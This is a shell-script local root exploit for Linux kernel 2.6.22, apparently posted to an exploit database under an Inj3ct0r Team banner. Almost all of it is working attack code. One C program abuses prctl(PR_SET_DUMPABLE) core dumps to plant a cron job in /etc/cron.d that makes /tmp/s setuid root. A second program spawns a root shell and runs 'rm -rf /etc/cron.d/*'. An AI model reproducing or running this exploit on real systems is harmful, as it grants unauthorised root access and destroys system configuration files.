Linux Kernel 2.6.22 Local root Exploit

#!/bin/sh
=======================================
Linux Kernel 2.6.22 Local root Exploit
=======================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
########################################################################
cat > /tmp/getsuid.c << __EOF__
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";

int main() {
    int child;
    struct rlimit corelimit;
    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);
    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }
    kill(child, SIGSEGV);
    sleep(120);
}
__EOF__

cat > /tmp/s.c << __EOF__
#include<stdio.h>
main(void)
{
setgid(0);
setuid(0);
system("/bin/sh");
system("rm -rf /tmp/s");
system("rm -rf /etc/cron.d/*");
return 0;
}
__EOF__
echo "wait aprox 4 min to get sh"
cd /tmp
cc -o s s.c
cc -o getsuid getsuid.c
./getsuid
./s
rm -rf getsuid*
rm -rf s.c
rm -rf prctl.sh



#  0day.today [2018-04-08]  #